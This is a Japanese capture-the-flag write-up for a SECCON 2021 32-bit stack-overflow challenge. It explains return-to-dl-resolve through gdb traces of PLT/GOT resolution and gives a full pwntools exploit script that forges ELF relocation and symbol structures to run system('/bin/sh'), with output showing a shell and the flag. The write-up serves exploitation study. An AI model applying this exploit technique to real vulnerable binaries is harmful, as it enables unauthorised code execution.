執筆日時:2023/2/8
問題
問題文
## Question Do you understand return-to-dl-resolve attack on 32-bit?
配布ファイル
main.cchall
main.c
#include <stdio.h>
int main(void) {
char buf[0x80];
gets(buf);
return 0;
}
chall
mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ file chall
chall: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=cb260735eeb00c173f7f530e9fae9ee3704e6c6f, for GNU/Linux 3.2.0, not stripped
mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ checksec chall
[*] '/home/mc4nf/ctf/seccon2021/pwn/kasu_bof/chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
実行ファイルに file コマンドと checksec を用いると、以下の特徴があることがわかる。
- x86
- SSP (Stack Smashing Protection) 無効
- Partial RELRO
方針
配布されたソースコード ( main.c )を見てみると、以下の特徴がある。
char型の配列bufのサイズが0x80バイトgetsを使用しているため、\n(0x0a) が入力されるまで配列bufに任意の文字を入力可能
このことから、配布されたプログラムには簡単なスタックバッファオーバフローの脆弱性があることがわかる。
また、問題文に return to dl resolve という攻撃方法を使用すれば良い旨のコメントがあるため、
スタックバッファオーバフローを利用して、 return to dl resolve を用いて shell を起動できるとよさそうである。
よって、この問題以下の方針で解いていく。
- return to dl resolve を利用するため、
.pltセクションからライブラリ関数のアドレスを解決するまでの流れを調査 - 1.を踏まえて、 return to dl resolve を利用し、
shellを起動
1. return to dl resolve (ret2dl resolve)
return to dl resolveは、ライブラリ関数のアドレスを動的に解決する際に呼び出される関数である _dl_runtime_resolve を利用し、任意のライブラリ関数を呼び出す攻撃手法である。
この攻撃の流れは以下のようになる。
- 任意の関数(ここでは
system("/bin/sh"))を呼ぶため、_dl_runtime_resolveに読み込ませる偽のElf32_Rel構造体とElf32_Sym構造体のオブジェクト、および NULL終端文字列"system"と"/bin/sh"を書き込み可能な領域に用意 _dl_runtime_resolveは、引数のreloc_argを元にElf32_Rel構造体を特定するため、reloc_argを1.で用意したElf32_Rel構造体のオブジェクトを指すように指定.pltの先頭にジャンプすると、_dl_runtime_resolveが呼ばれ、1.で用意した構造体のオブジェクトを元にsystemのアドレスが解決され、system("/bin/sh")が実行
そこで、以下では、 .plt セクションからのアドレス解決の流れを説明し、どのようにして偽の構造体を作成すればよいかについて説明する。
main から gets が呼び出される全体の流れ
問題のプログラムをディスアセンブルし、どのようにして gets が呼び出されているのか確認してみる。
08049180 <main>:
8049180: 55 push ebp
8049181: 89 e5 mov ebp,esp
8049183: 81 ec 98 00 00 00 sub esp,0x98
8049189: 8d 85 7c ff ff ff lea eax,[ebp-0x84]
804918f: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-0x4],0x0
8049196: 89 04 24 mov DWORD PTR [esp],eax
8049199: e8 a2 fe ff ff call 8049040 <gets@plt>
804919e: 31 c9 xor ecx,ecx
80491a0: 89 85 78 ff ff ff mov DWORD PTR [ebp-0x88],eax
80491a6: 89 c8 mov eax,ecx
80491a8: 81 c4 98 00 00 00 add esp,0x98
80491ae: 5d pop ebp
80491af: c3 retディスアセンブルした main を見てみると、 0x8049199 のアドレスにおいて、 gets@plt である 0x8049040 にジャンプしている。
gets@plt は、 .plt セクションに存在するため、 .plt セクションもディスアセンブルしてみる。
08049040 <gets@plt>:
8049040: ff 25 0c c0 04 08 jmp DWORD PTR ds:0x804c00c
8049046: ...先程呼ばれた gets@plt を確認してみると、 まず jmp DWORD PTR ds:0x804c00c で 0x804c00c 番地に格納されたアドレスへジャンプしている。
この 0x804c00c のアドレスは、GOTと呼ばれる領域にあり、最終的に解決された gets のアドレスが格納される。
そこで、1回目の gets@plt の呼び出し時に、GOTには何が格納されているのか確認してみる。
gef➤ hexdump dword 0x804c00c
0x0804c00c│+0x0000 <gets@got.plt+0000> 0x08049046
0x0804c010│+0x0004 ...
すると、 0x804c00c には、次の命令のアドレス ( 0x8049046 )がGOTに格納されていることがわかる。
このため、引き続き 0x8049046 からの命令読んでいく。
08049030 <.plt>:
8049030: ff 35 04 c0 04 08 push DWORD PTR ds:0x804c004
8049036: ff 25 08 c0 04 08 jmp DWORD PTR ds:0x804c008次の命令 push 0x0 では、スタックに 0x0 を積み、その後 jmp 8049030 <.plt> で .plt セクションの先頭にジャンプしている。
.plt の先頭の命令は、 push DWORD PTR ds:0x804c004 となっており、 0x804c004 に格納されている値をスタックに積む。
そして、次の命令 jmp DWORD PTR ds:0x804c008 で 0x804c008 に格納されているアドレスへジャンプする。
ここで、 0x804c004 および 0x804c008 番地には何が格納されているのか調べてみる。
gef➤ hexdump dword 0x804c004
0x0804c004│+0x0000 <_GLOBAL_OFFSET_TABLE_+0004> 0xf7ffd990
0x0804c008│+0x0004 <_GLOBAL_OFFSET_TABLE_+0008> 0xf7fe7ac0すると、これらのアドレスはGOT先頭付近のアドレスであり、それぞれ 0xf7ffd990 と 0xf7fe7ac0 の値が格納されていることがわかる。
まとめると、 .plt の先頭の命令では、スタックに 0xf7ffd990 を積み、 0xf7fe7ac0 番地へジャンプしている。
そして、 0xf7fe7ac0 へジャンプ後、 gets のアドレスが解決され、 gets が実行される。
また、二回目以降の呼び出しのために、解決されたアドレスは、GOTへ格納される。
以上が main から gets が実行されるまでの流れであり、 return to dl resolve をするために必要となる .plt セクション以降の流れについて以降では詳しく見ていく。
.plt セクションからアドレス解決の流れ
さて、 main から gets が呼び出される全体像が掴めたところで、最後にジャンプしたアドレス 0xf7fe7ac0 から先を追ってみる。
ジャンプ先の 0xf7fe7ac0 は _dl_runtime_resolve となっており、この関数により gets のアドレスが解決される。
_dl_runtime_resolve は引数として link_map 構造体と、後述する Elf32_Rel 構造体へのオフセットを示す reloc_arg という2つの値を取る。
そこで、ここから先では、 _dl_runtime_resolve を呼び出す際にスタックに積まれた 0xf7ffd990 を _dl_runtime_resolve の第一引数である link_map 構造体のアドレス、 0x0 を第二引数である reloc_arg として扱う。
それでは、次にライブラリ関数のシンボルの解決をする際に必要な情報を含んでいるそれぞれのセクションについて調べていく。
.dynamic セクション
.dynamic セクションは、 .rel.plt や .dynsym , .dynstr セクションなどのアドレス情報を保持しているセクションである。
このため、ライブラリ関数のシンボルを解決をする際は、 .dynamic セクションを最初に参照し、シンボル解決に必要な情報を含むセクションが配置されているアドレスを取得する。
.dynamic セクションは、 Elf32_Dyn 構造体のオブジェクトが連続して配置されている。
そこで、 Elf32_Dyn 構造体の定義をgdbで参照してみる。
gdbから、構造体の定義を得るために、libcにおけるデバッグ情報を取得しておく。
$ sudo apt install libc6-dbg libc6-dbg:i386gef➤ break main
gef➤ run
gef➤ info types Elf32_Dyn
All types matching regular expression "Elf32_Dyn":
File ../elf/elf.h:
838: typedef struct {...} Elf32_Dyn;gef➤ info types Elf32_Dyn
All types matching regular expression "Elf32_Dyn":
File ../elf/elf.h:
838: typedef struct {...} Elf32_Dyn;
gef➤ ptype /o Elf32_Dyn
type = struct {
/* 0 | 4 */ Elf32_Sword d_tag;
/* 4 | 4 */ union {
/* 4 */ Elf32_Word d_val;
/* 4 */ Elf32_Addr d_ptr;
/* total size (bytes): 4 */
} d_un;
/* total size (bytes): 8 */
}
Elf32_Dyn 構造体は、 それぞれの構造体がどのセクションの何の情報を持つのかを表す識別子である d_tag と、 d_tag に対応した値を union 型として持つ。
ここで、 .dynamic セクションを参照するため、このセクションそのもののアドレスを得るためには、 link_map 構造体の l_info フィールドを参照する必要がある。
各セクションの情報が格納されている l_info において、インデックスは、対応した d_tag により参照される。
-
d_tagに代入されうる値の一覧
-
https://elixir.bootlin.com/glibc/glibc-2.36/source/elf/elf.h#L862
/* Legal values for d_tag (dynamic entry type). */ ... #define DT_STRTAB 5 /* Address of string table */ #define DT_SYMTAB 6 /* Address of symbol table */ ... #define DT_REL 17 /* Address of Rel relocs */ ... #define DT_JMPREL 23 /* Address of PLT relocs */ ...
-
そこで、次に link_map 構造体の構造と、 .dynamic セクションそのもののアドレスを解決する流れを見ていく。
link_map 構造体
link_map 構造体は、ELFファイルと実際にマッピングされたアドレスの差分や各セクションのアドレス、再配置情報を保持する構造体であり、ライブラリ関数のシンボルを解決する際に参照される。
それでは、 link_map 構造体の構造を知るために、gdbを用いて定義を参照してみる。
gef➤ info types link_map
All types matching regular expression "link_map":
File ../elf/link.h:
84: struct link_map_public;
File ../include/link.h:
91: struct link_map;
271: struct link_map_reldeps;
File ../sysdeps/x86/linkmap.h:
10: struct link_map_machine;
gef➤ ptype /o struct link_map
/* offset | size */ type = struct link_map {
/* 0 | 4 */ Elf32_Addr l_addr;
/* 4 | 4 */ char *l_name;
/* 8 | 4 */ Elf32_Dyn *l_ld;
/* 12 | 4 */ struct link_map *l_next;
/* 16 | 4 */ struct link_map *l_prev;
/* 20 | 4 */ struct link_map *l_real;
/* 24 | 4 */ Lmid_t l_ns;
/* 28 | 4 */ struct libname_list *l_libname;
/* 32 | 308 */ Elf32_Dyn *l_info[77];
/* 340 | 4 */ const Elf32_Phdr *l_phdr;
...-
ソースコードの定義はここ
return to dl resolve において、
link_map構造体でoffsetが32の位置に保持されているl_infoフィールドを利用する。l_infoは、各セクションへのアドレスを保持している。例えば、
.dynamicセクションのアドレスを参照したい場合、d_tagがDT_JMPRELのElf32_Dyn構造体を参照すればよいため、l_info[23]とすることで参照することができる。
ここで、実際にgdbを用いて link_map 構造体から .dynamic セクションのアドレスを解決してみる。
_dl_runtime_resolve の第一引数である 0xf7ffd990 は link_map 構造体のアドレスであるため、 0xf7ffd990 を link_map 構造体のアドレスとし、表示する。
gef➤ set $link_map = (struct link_map*) 0xf7ffd990
gef➤ print *$link_map.l_info[23]
$5 = {
d_tag = 0x17,
d_un = {
d_val = 0x80482d8,
d_ptr = 0x80482d8
}
}
すると link_map 構造体のそれぞれのメンバの値が確認できる。
例えば、 dynamic セクションのアドレス情報は、 l_info[23] を参照することにより得ることができる。
このため、これを表示してみると、 d_ptr には 0x80482d8 が格納されており、 .dynamic セクションのアドレスは 0x80482d8 だということがわかる。
それでは、次にライブラリ関数のシンボルの解決に必要な他のセクションの情報を参照していく。
.rel.plt セクション
rel.plt セクションは、解決したアドレスを格納するGOTのアドレスとシンボルの情報を得るために必要な情報を持つ。
rel.plt セクションは、 Elf32_Rel 構造体の配列となっており、 Elf32_Rel 構造体の定義は以下のようになっている。
gef➤ info types Elf32_Rel
All types matching regular expression "Elf32_Rel":
File ../elf/elf.h:
638: typedef struct {...} Elf32_Rel;
658: typedef struct {...} Elf32_Rela;
gef➤ ptype /o Elf32_Rel
type = struct {
/* 0 | 4 */ Elf32_Addr r_offset;
/* 4 | 4 */ Elf32_Word r_info;
/* total size (bytes): 8 */
}-
ソースコード
.dynamicセクションから取得した.rel.pltのアドレス先をgdbでダンプしてみる。 ここで、_dl_runtime_resolveの第二引数であるreloc_argは、.rel.pltセクションの先頭アドレスから、参照するElf32_Rel構造体までのオフセットとなっている。
gef➤ set $reloc_arg = 0x0
gef➤ set $reloc = (Elf32_Rel *)($link_map.l_info[23].d_un.d_ptr + $reloc_arg)
gef➤ print *reloc
$11 = {
r_offset = 0x804c00c,
r_info = 0x107
}
ここで、 r_offset はライブラリ関数のアドレスを解決後に、そのアドレスを格納するGOT領域のエントリとなる。
このため、 gets のアドレスが解決されると、 0x804c00c にそのアドレスが格納されることになる。
r_info は、その下位8bitと残りの上位24bitそれぞれに、次のような値を保持する。
r_info を 8 byte 右シフトすることにより、 .dynsym のインデックスを取得することができる。
/* How to extract and insert information held in the r_info field. */
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
.dynsym セクション
.dynsym セクションは、アドレス解決する関数のシンボルのサイズやオフセットなどの情報を持つ。
また、 .dynsym セクションは、 Elf32_Sym 構造体の配列となっている。
Elf32_Sym 構造体をgdbで参照してみる。
gef➤ info types Elf32_Sym
All types matching regular expression "Elf32_Sym":
File ../elf/elf.h:
527: typedef struct {...} Elf32_Sym;
gef➤ ptype /o Elf32_Sym
type = struct {
/* 0 | 4 */ Elf32_Word st_name;
/* 4 | 4 */ Elf32_Addr st_value;
/* 8 | 4 */ Elf32_Word st_size;
/* 12 | 1 */ unsigned char st_info;
/* 13 | 1 */ unsigned char st_other;
/* 14 | 2 */ Elf32_Section st_shndx;
/* total size (bytes): 16 */
}
ここで、 st_name は、実際にシンボルが置かれている .dynstr セクションのオフセットを指している。
そこで、 r_info からインデックスを計算し、実際に Elf32_Sym のアドレスを特定してみる。
gef➤ set $symtab = (Elf32_Sym *)($link_map.l_info[6].d_un.d_ptr)
gef➤ set $sym = $symtab[$reloc.r_info>>8]
gef➤ print $sym
$13 = {
st_name = 0x1a,
st_value = 0x0,
st_size = 0x0,
st_info = 0x12,
st_other = 0x0,
st_shndx = 0x0
}
.dynstr セクション
st_name のオフセットを .dynstr セクションのアドレスに足し合わせたアドレスが、シンボルを指すアドレスとなっている。
gef➤ set $strtab = (char *)($link_map.l_info[5].d_un.d_ptr)
gef➤ set $gets_symbol = $strtab + $sym.st_name
gef➤ print $gets_symbol
$15 = 0x8048276 "gets"これにより、 link_map 構造体から gets のシンボルが解決されるまでの流れを把握することができた。
そこで、次にこの流れを踏まえた上で、 system("/bin/sh") 呼び出すためのSolverを作成していく。
2. Solverの作成
Solverの準備
上記の流れを図にすると、それぞれのセクションと構造体とシンボルの関係は以下のようになる。
.rel.plt .dynsym .dynstr
| | |
| | |
reloc_arg---+ reloc_arg + .rel.plt | |
| | |
+-->|-----------+----------| | |
| Elf32_Rel | r_offset | | |
| | r_info |-----+ ((r_info>>8) + .dynsym)*sizeof(Elf32_Sym) |
|-----------+----------| | |
| |
+->|-----------+---------------------------| |
| Elf32_Sym | st_name |------+ st_name + .dynstr
| | st_value | |
| | st_size | |
| | st_info st_other st_shndx | |
|-----------+---------------------------| |
|
+-->|-----------+--------|
| symbol | 'gets' |
|-----------+--------|
ここで、 reloc_arg にはスタックバッファオーバフローを利用して任意の値を指定することが可能なため、 .rel.plt の値から偽の Elf32_Rel 構造体を配置したアドレスまでのオフセットを設定する。
reloc_arg = fake_elf32_rel_addr - rel
また、偽の Elf32_Rel 構造体では、 r_info を 8 bitだけ右シフトした値を .dynsym を基準とした偽の Elf32_Sym 構造体へのインデックスとして使用する。
このため、事前にインデックスを計算し、 Elf32_Rel 構造体に格納しておく。
このとき、 r_info の下3bitが 0b111 (0x7) である必要があるため、最後に 7 を or することで下3bitに1を立てている。
r_offset は、解決されたアドレスが格納されるアドレスであり、通常はGOTの対応するエントリを指している。
今回は特に関係ないものの、 gets の GOTエントリを指定しておく。
r_offset = gets_got
r_info = ((fake_elf32_sym_addr - dynsym)//0x10)<<8 | 7
Elf32_Sym 構造体の st_name は、 .dynstr の値から文字列 "system\x00" のアドレスまでのオフセットを設定する。
このため、事前にオフセットの値を計算し、 Elf32_Sym 構造体に格納しておく。
st_info は、グローバル関数であることを指す 0x12 を設定しておく必要があるため、設定しておく。
st_name = system_symbol_addr - dynstr
st_value = 0x0
st_size = 0x0
st_info = 0x12
st_other = 0x0
st_shndx = 0x0
.bss 領域への作成した構造体やシンボルの格納
.bss 領域には、以下のように作成した Elf32_Rel 構造体と Elf32_Sym 構造体、 "system" のシンボル、および "/bin/sh" の文字列を格納する。
|-----------+----------.bss-------------+---------| | Elf32_Rel | r_offset | 8 byte | | | r_info | | |-----------+---------------------------+---------| | | | 8 byte | | | | (align) | |-----------+---------------------------+---------| | Elf32_Sym | st_name | 16 byte | | | st_value | | | | st_size | | | | st_info st_other st_shndx | | |-----------+---------------------------+---------| | | | 4 byte | |-----------+---------------------------+---------| | symbol | 'system' | 4 byte | |-----------+---------------------------+---------| | | | 4 byte | |-----------+---------------------------+---------| | argment | '/bin/sh' | 4byte | |-----------+---------------------------+---------| | | | |
このとき、 Elf32_Sym 構造体は、 .dynsym セクションのアドレスから、 0x10 バイトの間隔で配置されなければならないため( Elf32_Sym 構造体のサイズが 0x10 byteのため)、
必要なバイト数だけalignしている。
Solverを書くときは、事前に .bss のどのアドレスがどの構造体やシンボルに対応するか計算しておき、ROPで gets の引数として指定しておき、ROPチェインが発火後に、それぞれの構造体やシンボルを書き込んでいく。
fake_elf32_rel_addr = bss
fake_elf32_sym_addr = fake_elf32_rel_addr + 0x10
system_symbol_addr = fake_elf32_sym_addr + 0x14
sh_string_addr = system_symbol_addr + 0x1cROPチェインの作成
あとは、用意した偽の構造体やシンボルを .bss 領域内に格納できるように、複数回 gets を呼び出す必要がある。
そこで、 それぞれ計算しておいた領域に構造体を引数とし、 gets@plt にジャンプするROPを組む。
x86のROPは、参考文献に挙げたセキュリティコンテストチャレンジブックが参考になる。
# padding
buf = b'A'*0x84 # fill stack
buf += p32(0xdeadbeaf) # saved_ebp
# gets(fake_elf32_rel_addr)
buf += p32(gets_plt) # main return addr
buf += p32(pop_ret) # gets return addr
buf += p32(fake_elf32_rel_addr) # gets arg
# gets(fake_elf32_sym_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(fake_elf32_sym_addr) # gets arg
# gets(system_symbol_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(system_symbol_addr) # gets arg
# gets(sh_string_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(sh_string_addr) # gets arg
それぞれの構造体とシンボルの書き込みを行うROPを組んだ後、偽の構造体を元にアドレスを解決させるため、 .plt セクションの先頭にジャンプする。
このとき、 system の引数として "/bin/sh" を取れるように、 "/bin/sh" が格納されたアドレスをスタックに積んでおく。
# system('/bin/sh')
buf += p32(plt) # pop ret return addr
buf += p32(reloc_arg) # reloc arg
buf += p32(0xdeadbeef) # system return addr
buf += p32(sh_string_addr) # system argSolver
from pwn import *
filename = './chall'
chall = ELF(filename)
# docker-compose up
# conn = remote('localhost', 9001)
conn = process(filename)
plt = chall.get_section_by_name('.plt').header.sh_addr
bss = chall.get_section_by_name('.bss').header.sh_addr
rel = chall.get_section_by_name('.rel.plt').header.sh_addr
dynsym = chall.get_section_by_name('.dynsym').header.sh_addr
dynstr = chall.get_section_by_name('.dynstr').header.sh_addr
gets_got = chall.got['gets']
gets_plt = chall.plt['gets']
# 0x08049022: pop ebx; ret;
pop_ret = 0x08049022
fake_elf32_rel_addr = bss
fake_elf32_sym_addr = fake_elf32_rel_addr + 0x10
system_symbol_addr = fake_elf32_sym_addr + 0x14
sh_symbol_addr = system_symbol_addr + 0x1c
# calc index of Elf32_Rel from .rel.plt
reloc_arg = fake_elf32_rel_addr - rel
# padding
buf = b'A'*0x84 # fill stack
buf += p32(0xdeadbeaf) # saved_ebp
# gets(fake_elf32_rel_addr)
buf += p32(gets_plt) # main return addr
buf += p32(pop_ret) # gets return addr
buf += p32(fake_elf32_rel_addr) # gets arg
# gets(fake_elf32_sym_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(fake_elf32_sym_addr) # gets arg
# gets(system_symbol_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(system_symbol_addr) # gets arg
# gets(sh_symbol_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(sh_symbol_addr) # gets arg
# system('/bin/sh')
buf += p32(plt) # pop ret return addr
buf += p32(reloc_arg) # reloc arg
buf += p32(0xdeadbeef) # system retrun addr
buf += p32(sh_symbol_addr) # system arg
conn.sendline(buf)
# create Elf32_Rel
r_offset = gets_got
r_info = ((fake_elf32_sym_addr - dynsym)//0x10)<<8 | 7
fake_elf32_rel = p32(r_offset)
fake_elf32_rel += p32(r_info)
conn.sendline(fake_elf32_rel)
# create Elf32_Sym
st_name = system_symbol_addr - dynstr
st_value = 0x0
st_size = 0x0
st_info = 0x12
st_other = 0x0
st_shndx = 0x0
fake_elf32_sym = p32(st_name)
fake_elf32_sym += p32(st_value)
fake_elf32_sym += p32(st_size)
fake_elf32_sym += p8(st_info)
fake_elf32_sym += p8(st_other)
fake_elf32_sym += p16(st_shndx)
conn.sendline(fake_elf32_sym)
# create system symbol
conn.sendline(b'system')
# create sh symbol
conn.sendline(b'/bin/sh')
conn.interactive()実行結果
mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ python solve.py
[*] '/home/mc4nf/ctf/seccon2021/pwn/kasu_bof/chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to localhost on port 9001: Done
[*] Switching to interactive mode
$ ls
chall
flag-4f8e964cf95b989f6def1afdfd0e91b7.txt
$ cat flag*
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}
参考
-
詳解セキュリティコンテスト
- https://book.mynavi.jp/ec/products/detail/id=122750
- 33.2.2 発展:関数シンボルの動的解決 p.525
-
ROP stager + Return-to-dl-resolveによるASLR+DEP回避 - ももいろテクノロジー
-
ret2dl resolve - slideshare
-
セキュリティコンテストチャレンジブック
- https://book.mynavi.jp/ec/products/detail/id=42421
-
2.4 エクスプロイト - Retrun to PLT (ret2plt) p.109
- x86のROP
-
リンカ・ローダ実践開発テクニック
- https://shop.cqpub.co.jp/hanbai/books/38/38071.html
-
2.9 シンボル・テーブル p.54
- Elf_Sym構造体について
-
2.10 再配置テーブル p.57
- Elf_Rel構造体について
-
ret2dl_resolve Sections 關係表
- https://hackmd.io/@LJP/BkJmAqXEI
- ELfのマクロについて
created 2022/11/11
updated 2023/2/28